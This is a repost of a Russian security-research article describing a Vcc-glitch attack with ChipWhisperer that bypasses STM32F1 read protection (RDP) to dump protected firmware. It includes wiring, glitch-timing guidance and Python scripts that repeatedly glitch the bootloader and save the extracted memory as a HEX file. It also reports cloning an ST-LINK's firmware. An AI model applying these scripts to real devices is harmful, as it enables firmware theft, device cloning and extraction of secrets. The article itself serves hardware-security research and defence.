Error: Swim Prog Error [42008]: Attempt to Write to Protected Area
Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer
В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак.
Интересно? Давайте смотреть под кат.
О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК). Также рекомендуем к прочтению статью о взломе ESP32.
Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.
Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:
Плата STM32F103RBT6
Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP). Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается.
Аппаратная настройка
Приступим к проведению эксперимента. Для начала необходимо подключить ChipWhisperer к МК согласно рисунку:
Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик
На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК). Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины.
Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.
Перейдем к настройке ChipWhisperer. Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Чем выше кратность этой частоты, тем точнее можно настроить момент атаки. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение.
Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте).
Осталось подобрать значение параметра scope.glitch.ext_offset.
Подбор scope.glitch.ext_offset
Сначала необходимо выбрать момент атаки. Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти:
Алгоритм ответа на запрос о чтении данных сектора флеш-памяти
Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link. На рисунках ниже показаны части алгоритма обработки команды Read Memory command.
Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)
Тело функции проверки RDP
Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 + 0x1C
, логический сдвиг на 30 разрядов и ветвление. Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000
– это базовый адрес контроллера flash memory, а 0x1C
– это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP.
Необходимый момент проведения атаки – отработка инструкции LDR
(загрузки из памяти). Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11
с контрольной суммой 0xEE
) и ответом ACK
/NOACK
МК по UART. Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1. В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так:
Выбор момента проведения атаки
Скрипт считывания прошивки
Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object)
, расположенного в файле programmer_stm32fserial.py
по пути software/chipwhisperer/hardware/naeusb/
. Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd)
стал глобально доступным, и добавить команду scope.arm()
до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. Итоговый класс приведен в спойлере ниже.
Класс для общения ChipWhisperer с STM32
import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None
Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.
Код HEX-конвертера и вспомогательные функции
def int2str_0xFF(int_number, number_of_bytes): return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step'])
Настройка параметров ChipWhisperer завершена. Итоговый скрипт на считывание прошивки выглядит следующим образом:
# string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory)
Все закомментированные сообщения print()
после строчки except Exception as
помогают отслеживать состояние МК при поиске оптимальных параметров glitch-импульса. Для отслеживания конкретного состояния МК достаточно раскомментировать необходимое сообщение print()
.
Результаты считывания
На видео продемонстрирована загрузка прошивки на МК через программатор ST-LINK, перевод RDP в состояние защиты и последующее считывание прошивки:
Успешному проведению Vcc-glitch-атаки могут помешать следующие ошибки:
• считывание неверного сектора памяти;
• самопроизвольное удаление прошивки.
Избежать подобных ошибок поможет точный выбор момента атаки путем увеличения частоты работы ChipWhisperer.
После разработки и отладки алгоритма считывания защищенной прошивки мы провели тестовое считывание прошивки программатора ST-LINK-V2.1, который работает на МК STM32F103CBT6. Считанную прошивку мы зашили на «чистый» МК STM32F103CBT6 и установили его вместо заводского. В результате ST-LINK-V2.1 с замененным МК работал в нормальном режиме, будто подмены не было.
Также мы попробовали провести серию атак на STM32F303RCT7. Этот МК в ходе атаки вел себя идентично STM32F103RBT6, но ответ на запрос чтения памяти содержал байт, равный 0х00, что не совпадало с ожидаемым нами результатом. Причина такой неудачи заключалась в более сложном и развитом принципе организации защиты этих МК.
В МК STM32F1xx существует два состояния защиты: защита выключена (Level 0) и включена (Level 1). В старших моделях предусмотрено три состояния защиты: защита отключена (Level 0, RDP = 0x55AA), защита флеш- и SRAM-памяти (Level 2, RDP = 0x33CC) и защита только флеш-памяти (Level 1, RDP принимает любые значения, отличные от 0x55AA и 0x33CC). Поскольку Level 1 может принимать множество значений RDP, установить Level 0 достаточно тяжело. С другой стороны, существует возможность понижения уровня защиты с Level 2 на Level 1 сбиванием одного бита в байте RDP (показано на рисунке ниже), что открывает доступ к SRAM-памяти.
Сравнение значений RDP для разных уровней защиты прошивки
Остается только понять, как этим может воспользоваться злоумышленник. Например, с помощью метода CBS (Cold-Boot Stepping), описанного в этой статье. Этот метод основан на поэтапном снимке состояния SRAM-памяти (периодичность выполнения каждого снимка была в районе микросекунды) после загрузки МК с целью получения ключей шифрования, скрытых паролей или любой другой ценной информации. Авторы предполагают, что метод CBS сработает на всех сериях МК STM32.
Выводы
Подведем итоги наших экспериментов. Выполнение Vcc-glitch-атаки с использованием данных, полученных в результате предыдущего исследования (о котором можно прочитать здесь), заняло у нас несколько дней. А значит, научиться проводить подобные атаки достаточно легко.
Vcc-glitch-атаки опасны тем, что от них сложно защититься. Для уменьшения вероятности успешного проведения подобных атак предлагается использовать МК с более высоким уровнем защиты.
Raccoon Security – специальная команда экспертов НТЦ «Вулкан» в области практической информационной безопасности, криптографии, схемотехники, обратной разработки и создания низкоуровневого программного обеспечения.
Error: Swim Prog Error [42008]: Attempt to Write to Protected Area
Source: https://habr.com/ru/company/ntc-vulkan/blog/483732/
0 Response to "Error: Swim Prog Error [42008]: Attempt to Write to Protected Area"
Enviar um comentário